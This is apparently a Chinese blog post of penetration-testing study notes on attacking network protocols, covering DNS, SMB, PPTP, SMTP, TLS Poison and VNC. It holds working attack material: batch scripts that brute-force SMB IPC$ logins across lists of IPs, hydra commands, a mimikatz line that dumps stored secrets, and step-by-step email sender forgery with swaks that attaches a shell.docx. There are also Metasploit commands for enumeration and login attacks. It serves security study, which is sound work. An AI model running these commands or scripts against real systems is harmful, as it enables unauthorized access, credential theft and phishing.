• Protocol - Exploits学习笔记


    Protocol - Exploits

    注:本分类里内容并非全是协议的 bug,部分 "基于、使用" 这个协议的应用所存在的漏洞也算在其中,例如 dns 域传送漏洞,其并非 dns 协议本身的漏洞,为服务部署时的配置问题,但应用与 DNS 相关的业务,故此分类


    免责声明

    本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


    大纲


    DNS

    关于 DNS

    CVE-1999-0532 dns 域传送漏洞

    • 简介

      DNS 服务器分为:主服务器、备份服务器和缓存服务器,在主备服务器之间同步数据库,需要使用 “DNS 域传送”。

      域传送是指后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。若 DNS 服务器配置不当,可能导致匿名用户获取某个域的所有记录。造成整个网络的拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器。

    • 相关文章

    • POC | Payload | exp

      1. dig @dns.xxx.edu.cn axfr xxx.edu.cn
      2. # @ 指定域名服务器;
      3. # axfr 为域传送指令;
      4. # xxx.edu.cn 表示要查询的域名;

    子域接管漏洞

    什么是子域接管

    子域名接管是注册不存在的域名以获得对另一个域的控制权的过程

    1. 域名(例如 sub.ffffffff0x.com)将 CNAME 记录用于另一个域(例如 sub.ffffffff0x.com CNAME f0x.com)。
    2. 在某个时间点, f0x.com 到期并可供任何人注册。
    3. 由于未从 ffffffff0x.com DNS 区域删除 CNAME 记录,因此注册 f0x.com 的任何人都可以完全控制 sub.ffffffff0x.com,直到删除 DNS 记录。

    通过使用子域接管,攻击者可以从合法域中发送网络钓鱼电子邮件,执行跨站点脚本(XSS)或发布不实言论信息等恶意行为。

    子域接管不仅限于 CNAME 记录。NS,MX 甚至 A 记录(均不受此限制)也将受到影响。

    相关文章/案例

    相关资源

    相关工具

    DNS Rebinding


    ipv6

    相关文章

    相关工具


    LDAP

    描述

    轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询,是 X.500 的一种简便的实现。

    LDAP 是一种运行于TCP/IP之上的在线目录访问协议,主要用于目录中资源的搜索和查询。使用最广泛的LDAP服务如微软的ADAM(Active Directory Application Mode)和OpenLDAP.

    相关文章

    相关工具

    LDAP注入

    相关文章


    MQTT

    fofa: port="1883" && protocol="mqtt

    描述

    MQTT(Message Queuing Telemetry Transport,消息队列遥测传输协议)。可以以极少的代码和有限的带宽,为远程设备提供实时可靠的消息服务,一种低开销、低带宽占用的即时通讯协议。MQTT协议运行于TCP之上,属于应用层协议。

    相关文章

    MQTT 相关工具

    • mosquitto - MQTT服务端程序
      1. apt-get install mosquitto
      2. apt-get install mosquitto-clients
      3. mosquitto -v
      4. mosquitto_sub -h 127.0.0.1 -t debug
    • mqtt.fx
    • thomasnordquist/MQTT-Explorer - An all-round MQTT client that provides a structured topic overview
    • emqx/MQTTX - Elegant Cross-platform MQTT 5.0 Desktop Client
    • node-red/node-red - Low-code programming for event-driven applications

    暴力破解


    RTSP

    描述

    实时流媒体协议(RTSP)是一种网络控制协议,设计用于娱乐和通信系统,以控制流媒体服务器。该协议用于建立和控制终端之间的媒体会话。媒体服务器的客户端发出 VHS 风格的命令,如播放、录制和暂停,以方便实时控制媒体流从服务器到客户端(视频点播)或从客户端到服务器(语音录制)。

    流媒体数据的传输本身不是 RTSP 的任务。大多数 RTSP 服务器使用实时传输协议 (RTP) 与实时控制协议 (RTCP) 相结合来传输媒体流。

    暴力破解


    SMB

    相关文章

    信息收集

    • MSF 模块

      1. use auxiliary/scanner/smb/smb_version
      2. use exploit/multi/samba/usermap_script
    • nmblookup

      nmblookup -A 
    • ngrep

      1. "ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]'
      2. smbclient -L \\\\"
    • nmap脚本

      nmap --script smb-vuln* -p139,445 -T4 -Pn 

    枚举用户

    • nmap脚本

      nmap --script smb-enum-users.nse -p 445 <目标IP>
    • rpcclient

      1. rpcclient -U '' <目标IP>
      2. querydominfo
      3. enumdomusers
      4. queryuser <用户名>
    • enum4linux

      enum4linux <目标IP>

    获取共享

    • smbmap

      smbmap -H   -R 
    • smbclient

      1. echo exit | smbclient -L \\\\$ip
      2. "smbclient \\\\\\"
      3. smbclient -L // -N
    • nmap

      nmap --script smb-enum-shares -p139,445 -T4 -Pn 

    空会话

    • smbmap

      smbmap -H 
    • rpcclient

      rpcclient -U "" -N $ip
    • smbclient

      smbclient ///IPC$ -N
    • enum

      1. enum -s
      2. enum -U
      3. enum -P
    • enum4linux

      enum4linux -a 

    匿名共享

    • smbclient

      1. smbclient //$ip/share -U username
      2. smbclient \\\\\\
      3. smbclient ///
      4. smbclient ///
      5. smbclient ///<""share name"">
    • rpcclient

      1. rpcclient -U " "
      2. rpcclient -U " " -N

    暴力破解

    可以暴力破解来获得目标主机的 smb 访问。

    hydra -L user.txt -P pass.txt 192.168.1.1 smb
    • IPC 爆破

      1. ip.txt 放入要爆破的 IP
      2. pass.txt 放入爆破的密码
      3. 默认爆破用户:Administrator
      4. 爆破成功的结果,会在 bat 运行的当前目录生成 out.txt
      5. 爆破进度的查询:type log.txt,完成后当前目录生成 end.txt

      非空连接爆破.bat

      1. @echo off
      2. cls
      3. echo Useage: %0 ip.txt pass.txt
      4. for /f %%t in (%1) do (
      5. FOR /F "eol=; tokens=1,2,3* delims=, " %%i in (%2) do (
      6. echo net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >> log.txt
      7. net use \\%%t\ipc$ "%%i" /user:"localhost\Administrator" >NUL 2>NUL
      8. IF NOT errorlevel 1 (
      9. echo %%i t:%%t>> out.txt
      10. net use \\%%t\ipc$ /del
      11. )
      12. net use * /del /y >NUL 2>NUL
      13. )
      14. )
      15. echo end >> end.txt

      空连接爆破.bat

      1. @echo off
      2. cls
      3. echo Useage: %0 ip.txt
      4. for /f %%t in (%1) do (
      5. echo net use \\%%t\ipc$ "" /user:"localhost\Administrator" >> log.txt
      6. net use \\%%t\ipc$ "" /user:"localhost\Administrator" >NUL 2>NUL
      7. IF NOT errorlevel 1 (
      8. echo success:%%t>> out.txt
      9. net use \\%%t\ipc$ /del
      10. )
      11. net use * /del /y >NUL 2>NUL
      12. )
      13. echo end >> end.txt

    利用 NTLM 值破解 SMB

    主要依靠钓鱼,不是很适合在实战中使用,内容见 https://www.hackingarticles.in/4-ways-capture-ntlm-hashes-network/


    PPTP

    相关文章

    获得PPTP 口令

    Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下: %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk 查看该文件即可获得 PPTP 连接的配置信息,包括服务器 IP,不包含连接用户名和口令

    mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

    windows 命令行下连接 PPTP VPN

    1. rasdial "VPN Connection" username pass
    2. # 关闭连接
    3. rasphone -h "VPN Connection"

    kali 连接 PPTP VPN

    1. pptpsetup --create vpn --server xx.xx.xx.xx --username username --password pass --encrypt --start
    2. # 将默认路由表修改为远程
    3. route del default
    4. route add default gw xx.xx.xx.xx

    暴力破解 PPTP 口令


    SMTP

    描述

    SMTP 为邮件协讫,默认端口 25.经常用来邮箱伪造,钓鱼攻击.

    相关文章

    相关工具

    邮件检测

    枚举用户

    1. MAIL FROM : 指定发件人地址
    2. RCPT TO : 指定单个的邮件接收人;可有多个 RCPT TO;常在 MAIL FROM命令之后
    3. VRFY : 用于验证指定的用户/邮箱是否存在;由于安全原因,服务器常禁止此命令
    4. EXPN : 验证给定的邮箱列表是否存在,也常被禁用
    1. SMTP 返回码
    2. 500 格式错误,命令不可识别(此错误也包括命令行过长)
    3. 501 参数格式错误
    4. 502 命令不可实现
    5. 503 错误的命令序列
    6. 504 命令参数不可实现
    7. 211 系统状态或系统帮助响应
    8. 214 帮助信息
    9. 220 服务就绪
    10. 221 服务关闭传输信道
    11. 421 服务未就绪,关闭传输信道(当必须关闭时,此应答可以作为对任何命令的响应)
    12. 250 要求的邮件操作完成
    13. 251 用户非本地,将转发向
    14. 450 要求的邮件操作未完成,邮箱不可用(例如,邮箱忙)
    15. 550 要求的邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)
    16. 451 放弃要求的操作;处理过程中出错
    17. 551 用户非本地,请尝试
    18. 452 系统存储不足,要求的操作未执行
    19. 552 过量的存储分配,要求的操作未执行
    20. 553 邮箱名不可用,要求的操作未执行(例如邮箱格式错误)
    21. 354 开始邮件输入,以.结束
    22. 554 操作失败
    23. 535 用户验证失败
    24. 235 用户验证成功
    25. 334 等待用户输入验证信息

    可以通过 Telnet 连接,在未禁用上述 SMTP 命令的服务器上,使用上述命令手动枚举用户名.

    1. $ telnet xxx.xxx.xxx.xxx 25
    2. Trying xxx.xxx.xxx.xxx...
    3. Connected to xxx.xxx.xxx.xxx.
    4. Escape character is '^]'.
    5. 220 mxt.xxx.xxx.cn ESMTP Postfix
    6. VRFY root
    7. 252 2.0.0 root
    8. VRFY bin
    9. 252 2.0.0 bin
    10. VRFY admin
    11. 550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table
    12. $ telnet xxx.xxx.xxx.xxx 25
    13. Trying xxx.xxx.xxx.xxx...
    14. Connected to xxx.xxx.xxx.xxx.
    15. Escape character is '^]'.
    16. 220 mxt.xxx.xxx.cn ESMTP Postfix
    17. MAIL FROM:root
    18. 250 2.1.0 Ok
    19. RCPT TO:root
    20. 250 2.1.5 Ok
    21. RCPT TO:bin
    22. 250 2.1.5 Ok
    23. RCPT TO:admin
    24. 550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table

    可以看到两种方式均返回 root、bin 用户是存在的,admin 用户不存在.

    • smtp-user-enum - kali 自带

      1. smtp-user-enum -M VRFY -u root -t xxx.xxx.xxx.xxx
      2. smtp-user-enum -M RCPT -u bin -t xxx.xxx.xxx.xxx
      3. smtp-user-enum -M EXPN -u bin -t xxx.xxx.xxx.xxx
    • MSF 模块

      1. use auxiliary/scanner/smtp/smtp_enum
      2. set rhosts xxx.xxx.xxx.xxx
      3. run
    • smtp-enum-users - nmap 脚本

      nmap -p 25 --script smtp-enum-users.nse xxx.xxx.xxx.xxx

    邮件伪造

    • 相关文章

    • SPF邮件伪造

      SPF 是 Sender PolicyFramework 的缩写,一种以 IP 地址认证电子邮件发件人身份的技术。接收邮件方会首先检查域名的 SPF 记录,来确定发件人的 IP 地址是否被包含在 SPF 记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回。SPF 可以防止别人伪造你来发邮件,是为了防范垃圾邮件而提出来的一种 DNS 记录,它是一种 TXT 类型的记录。

      由于 SMTP 邮件服务商互相发送邮件是不需要认证的,邮件伪造也是利用这个特性来实现伪造任意发件人。

    • 简单方法

      1. telnet xxx.xxx.xxx.xxx 25
      2. HELO xxxx.com # 向邮件服务器提供连接的域名,也就是邮件将从哪台服务器发来.
      3. MAIL FROM:admin@xxxx.com # 伪造管理员身份来发邮件
      4. RCPT TO:admin@xxxxx.com # 验证邮件地址是否存在.如果查询的是一个真实的 Email 地址,邮件服务器就会返回250状态码.验证邮箱存在的话,还可以给这个接受者邮箱发送邮件.
      5. DATA # 使用DATA命令来伪造邮箱内容,客户端告诉服务器自己准备发送邮件正文
      6. 354 go ahead, end data with CRLF.CRLF # 服务器返回354,表示自己已经作好接受邮件的准备
      7. "这是一个邮件伪造测试" # 用英文状态的双引号来修饰正文,正文结束后,发送结束符.表明正文的结束.
      8. .
      9. QUIT
    • swaks

      Swaks 的全称是 Swiss Army Knife SMTP(SMTP 界的瑞士军刀),用于测试 SMTP 协议的各种操作.

      kali 自带

      swaks

      配合 https://support.smtp2go.com/hc/en-gb

      1. swaks --to 目标@qq.com --from info@smtp2go.com\
      2. --header-X-Mailer SMTP --ehlo root@163.com --body 'test'\
      3. --server mail.smtp2go.com -p 2525 -au 账号 -ap 密码 \
      4. --attach /shell.docx --header "Subject:test" \
      5. --h-From: 'test'

    SNMP

    相关文章

    相关工具

    snmp 弱口令


    SSH

    相关文章

    相关工具

    • arthepsy/ssh-audit - SSH服务器审计(banner、密钥交换、加密、mac、压缩、兼容性、安全性等)

    版本扫描

    1. use auxiliary/fuzzers/ssh/ssh_version_2
    2. set RHOSTS [ip]
    3. run

    libSSH

    OpenSSH

    OpenSSH(OpenBSD Secure Shell)是 OpenBSD 计划组的一套用于安全访问远程计算机的连接工具。该工具是 SSH 协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。

    SunSSH

    • CVE-2020-14871 Oracle System Solaris PAM 组件缓冲区溢出漏洞

      • 影响范围

        Oracle Solaris 11
        Oracle Solaris10
        Oracle Solaris 9(已不支持,2014年已终止)

      • 扫描

      • MSF 模块

        solaris/ssh/pam_username_bof

    SSL & TLS

    关于 TLS

    相关文章

    相关工具

    • MassBleed - SSL 漏洞扫描器
    • sslscan - 测试启用SSL/TLS的服务,以发现支持的密码套件。
    • testssl - 在任何端口的任何地方测试 TLS/SSL 加密
    • coroner/cryptolyzer - 适用于 Python 2.7/3.4 以上的服务器加密(TLS/SSL)设置分析库

    ja3(s)

    CVE-2014-0160 Heartbleed

    CVE-2014-3566 SSL 3.0 POODLE 攻击信息泄露漏洞

    • 简介

      OpenSSL 1.0.1i 及之前版本中使用的 SSL protocol 3.0 版本中存在安全漏洞,该漏洞源于程序使用非确定性的 CBC 填充。攻击者可借助 padding-oracle 攻击利用该漏洞实施中间人攻击,获取明文数据。

    • 相关文章

    • POC | Payload | exp

    • MSF 模块

      use auxiliary/scanner/http/ssl_version

    CVE-2021-3449

    • 简介

      OpenSSL TLSv1.2 重新协商选项(默认开启)中存在一处空指针解引用,并导致拒绝服务。

    • 影响范围

      • 所有OpenSSL 1.1.1版本
    • POC | Payload | exp

    CVE-2022-0778 OpenSSL 拒绝服务漏洞

    TLS Poison

    相关资源

    相关文章

    描述

    当客户端和服务器端初次建立 TLS 握手时(例如浏览器访问 HTTPS 网站),需要双方建立一个完整的 TLS 连接,该过程为了保证数据的传输具有完整性和机密性,需要做很多事情,如密钥协商出会话密钥,数字签名身份验证,消息验证码 MAC 等。这个过程是非常消耗资源的,而且当下一次客户端访问同一个 HTTPS 网站时,这个过程需要再重复一次,这无疑会造成大量的资源消耗。

    为了提高性能,TLS/SSL 提供了会话恢复的方式,允许客户端和服务端在某次关闭连接后,下一次客户端访问时恢复上一次的会话连接。会话恢复有两种,一种是基于 session ID 恢复,一种是使用 Session Ticket 的 TLS 扩展。

    基于 session ID 的会话恢复

    每一个会话都由一个 Session ID 标识符标识,当建立一个 TLS 连接时,服务器会生成一个 session ID 给客户端,服务端保留会话记录,重新连接的客户端可以在 clientHello 消息期间提供此会话 ID,并重新使用此前建立的会话密钥,而不需要再次经历秘钥协商等过程。

    TLS session id 在 RFC-5077 中有着详细描述,基本所有数据都可以用作会话标志符,包括换行符。

    Session ticket 和 session id 作用类似,在客户端和服务端建立了一次完整的握手后,服务端会将本次的会话数据加密,但是 session ticket 将会话记录保存在客户端,而且与 session id 32 字节的大小不同,session ticket 可提供 65k 的空间,这就能为我们的 payload 提供足够的空间。

    攻击思路

    session id 是服务器提供给客户端的,如果我们构建一个恶意的 tls 服务器,然后将我们的恶意 session id 发送给客户端,然后通过 dns rebinding,将服务器域名的地址指向内网 ip 应用,例如 memcache,客户端在恢复会话时就会带上恶意的 session id 去请求内网的 memcache,从而攻击了内网应用。

    大致流程如下:

    1. 利用受害者服务器向攻击者准备的 TLS Server 发起一个 HTTPS 请求
    2. 当受害者打开这个页面后,受害者客户端会查询相应的 DNS 记录,最终会在攻击者准备的 DNS 服务器查询到攻击者提供的解析记录
    3. 攻击者的 DNS 服务器回应一个 TTL 为 0 的结果,指向攻击者的 TLS Server 服务器。
    4. 客户端发送 Client Hello 消息
    5. 服务端返回 Server Hello 消息,并在响应包中设置 session_id 为 payload
    6. 进行后续的TLS握手
    7. 握手完成后进行 http 通信时,攻击者 TLS Server 返回 301 跳转
    8. 受害者客户端接收跳转,这次跳转时由于前面那一次 DNS 解析的结果为 TTL 0,则会再次发起一次解析请求
      此时攻击者让 DNS 服务器返回解析结果为 SSRF 攻击的目标(例如本地的 memcache 数据库),且 TTL 为 0
    9. 因为请求和跳转时的域名都没有变更,本次跳转会带着之前服务端返回的精心构造过的 SessionID 进行(TLS 会话重用),发送到目标的那个端口上。
    10. payload 被发送至 SSRF 攻击的目标,达到目的,成功 SSRF,但是因为会话重用失败,受害者客户端会得到一个 TLS Error 的错误。至此完成所有攻击步骤。

    通过对 curl 解析 AAAA 和 A 记录的顺序进行利用(未复现成功)

    出自文章 基于 A 和 AAAA 记录的一种新 DNS Rebinding 姿势–从西湖论剑2020 Web HelloDiscuzQ 题对 Blackhat 上的议题做升华

    在 CURL 中,对于一个域名,如果同时具有 A 记录和 AAAA 记录,那么 CURL 会去优先请求 AAAA 或者 A 记录所指向的地址,如果这些地址无法连接,则会尝试连接同时得到的 A 记录或者 AAAA 记录。

    在某些情况下,会出现:

    • AAAA 记录地址不通,会连接到 A 记录地址上。
    • A记录地址不通,会连接到 AAAA 记录地址上。

    第一个地址不通,则会尝试第二个地址。

    那么我们可以这样做:

    1. 第一次让 CURL 去访问恶意的 HTTPS 服务器,拿到一个恶意的 SessionID,然后使恶意的 HTTPS 服务器无法接收新的连接
    2. 这时恶意的 HTTPS 给出第一次返回的结果,使其进行同域名跳转
    3. 目标跳转时会尝试进行新连接,目标发现恶意的HTTPS 服务器无法连接,则会尝试连接这个域名下的其他记录所指向的地址,并带上 SessionID

    复现环境

    双 A 记录

    出自文章 一篇文章带你读懂 TLS Poison 攻击#The Optimization Method OF DNS Rebinding

    默认配置下,可以通过 0.0.0.0:11211 这个地址与 memcached 通信,对于返回的双 A 记录,一个配置为 TLS VPS IP ,另一个为 0.0.0.0 ,curl 每次都会优先使用 TLS VPS IP ,如果不能通信才会接着使用 0.0.0.0:11211

    根据已知信息,我们可以让 curl 第一次建立链接,拿到我们分配的 payload 后,断开连接,让其第二次连接不通而去选择另外一个 IP

    复现环境

    TLS 1.2 Session Ticket

    TLS 1.2 Session ID


    UPNP

    相关工具

    CVE-2020-12695


    VNC

    相关文章

    未授权访问漏洞

    • 概述

      VNC 是虚拟网络控制台 Virtual Network Console 的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司 AT&T 的欧洲研究实验室开发。VNC 是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制 target 主机。

    • vncviewer

      1. # kali 自带
      2. vncviewer [ip]
    • MSF 模块

      1. use auxiliary/scanner/vnc/vnc_none_auth
      2. set rhosts [ip]
      3. set threads 50
      4. run

    暴力破解

    • MSF 模块
      1. use auxiliary/scanner/vnc/vnc_login
      2. set RHOSTS [ip]
      3. set RPORT [port]
      4. set pass_file /root/Desktop/pass.txt
      5. run

    密码破解


    Other

    Ripple20

    描述

    安全研究人员在由 Treck 开发的 TCP/IP 协议栈中发现了多个漏洞,这一系列漏洞统称为 Ripple20。这些漏洞广泛存在于嵌入式和物联网设备中,影响了多个行业领域(包括医疗、运输、能源、电信、工业控制、零售和商业等),涉及了众多供应商(包括 HP、Schneider Electric、Intel、Rockwell Automation、Caterpillar、Baxter 等)。

    这些漏洞源于 Ripple20 的多个协议(包括 IPv4、ICMPv4、IPv6、IPv6OverIPv4、TCP、UDP、ARP、DHCP、DNS 或以太网链路层)在处理网络报文发送时存在缺陷,其中包括四个严重漏洞,它们的 CVE 编号分别为 CVE-2020-11896、CVE-2020-11898、CVE-2020-11910、CVE-2020-11911。CVE-2020-11896(CVSS 评分 10)可导致远程执行代码,CVE-2020-11897(CVSS 评分 10)可导致越界写入,CVE-2020-11901(CVSS 评分 9)可导致远程执行代码,CVE-2020-11898(CVSS 评分 9.1)可导致泄露敏感信息。其它 15 个 Ripple20 漏洞的严重程度各异,CVSS 评分分别从 3.1 到 8.2。

    相关文章

    相关资源

    POC | Payload | exp

    AMNESIA33

    描述

    安全研究人员在多个被广泛使用的开源 TCP/IP 协议栈发现了多个漏洞,这一系列漏洞统称为 AMNESIA33。这些漏洞广泛存在于嵌入式和物联网设备中,影响了多个行业领域(包括医疗、运输、能源、电信、工业控制、零售和商业等),目前已知范围内涉及了超 150 家供应商以及数以百万计的设备。与 URGEN11 和 Ripple20 不同的是,AMNESIA33 影响的是多个开源 TCP/IP 协议栈,因此这些漏洞可以悄无声息地影响到无数个代码库、开发团队与各个公司的产品。目前已知的漏洞涉及到了智能家居、工厂 PLC、SCADA 设备与工控交换机,电力监控等设备。

    这些漏洞存在于 uIP、FNET、picoTCP 和 Nut/Net 等开源协议栈上,影响 TCP/IP 协议栈的多个组件,包括 DNS、IPv6、IPv4、TCP、ICMP、LLMNR 和 mDNS 等。其中包括多个严重漏洞,它们的 CVE 编号分别为 CVE-2020-17437、CVE-2020-17443、CVE-2020-24338、CVE-2020-24336、CVE-2020-25111。

    CVE-2020-17437(CVSS 评分 8.2)、CVE-2020-17443(CVSS 评分 8.2)可导致设备拒绝服务。CVE-2020-24338、CVE-2020-24336、CVE-2020-25111(这三个 CVSS 评分均为 9.8)都可导致远程代码执行 (RCE)。其它 28 个漏洞的严重程度各异,CVSS 评分分别从 4 到 8.2。

    由于 IoT、OT、IT 设备供应链的特性,漏洞影响的设备众多,影响范围广且持续时间长,漏洞修复的实施较困难。同时,由于 uIP、picoTCP 开源协议栈已经不再维护,所以部分漏洞没有补丁,很多产品只能寻找替代技术方案或者是增加防范措施。

    相关文章

    NAT Slipstreaming

    https://github.com/samyk/slipstream/ - NAT Slipstreaming allows an attacker to remotely access any TCP/UDP services bound to a victim machine, bypassing the victim’s NAT/firewall, just by the victim visiting a website

    相关文章

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    Hadoop知识点之Hadoop发展历程
    WebSocket --- ws模块源码解析(详解)
    看完这篇原型设计模式,还不会,请你吃瓜
    ios应用内支付
    【应用分身】下载支持应用分身的应用(QQ),开启应用分身,返回桌面,会出现所有应用的分身。(Unisoc)
    mysql基本语句学习(基本)
    数据库最基础命令的大集合,四类分别有DDL、DCL、DQL、DML,让我给你解释一下吧
    SpringBoot异步任务获取HttpServletRequest
    你一定要知道的四个程序员接外包的网站,悄悄把技术变现!
    阿里云配置ssl(Apache)
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127615528